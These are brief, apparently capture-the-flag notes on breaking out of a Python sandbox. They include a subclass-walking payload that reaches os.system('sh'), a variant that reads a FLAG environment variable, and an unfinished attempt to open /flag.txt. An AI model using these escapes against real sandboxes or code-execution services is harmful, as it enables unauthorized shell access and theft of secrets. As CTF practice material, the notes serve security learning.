Python sandbox blocks import etc.

From here: https://github.com/jailctf/pyjailbreaker
https://github.com/yaklang/hack-skills/blob/main/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md
Commands like this one can get the os module and execute system:
[cls for cls in object.__subclasses__() if 'os._wrap_close' in str(cls)][0].__init__.__globals__['sys'].modules['os'].system('sh')

The sandbox still bans keyword like system. So
def fibonacci(n):
    # Your implementation here
    os_mod = [cls for cls in object.__subclasses__() if 'os._wrap_close' in str(cls)][0].__init__.__globals__['sys'].modules['os']
    print(os_mod.getenv('FLAG'))

I tryed and found out that the FLAG is also set as environment variable and so I got it usig os.getenv('FLAG')

WORK IN PROGRESS
def fibonacci(n):
    # Your implementation here
    #for i, cls in enumerate(''.__class__.__bases__[0].__subclasses__()):
    #    if 'codecs.In' in str(cls):
    #        print(i, cls)
    #        break
    INDEX=127
    dictglobals = ().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__
    print(dictglobals.keys())
    op_en =  ().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['open']
#('/flag.txt','r')
    #re_ad = ().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['read']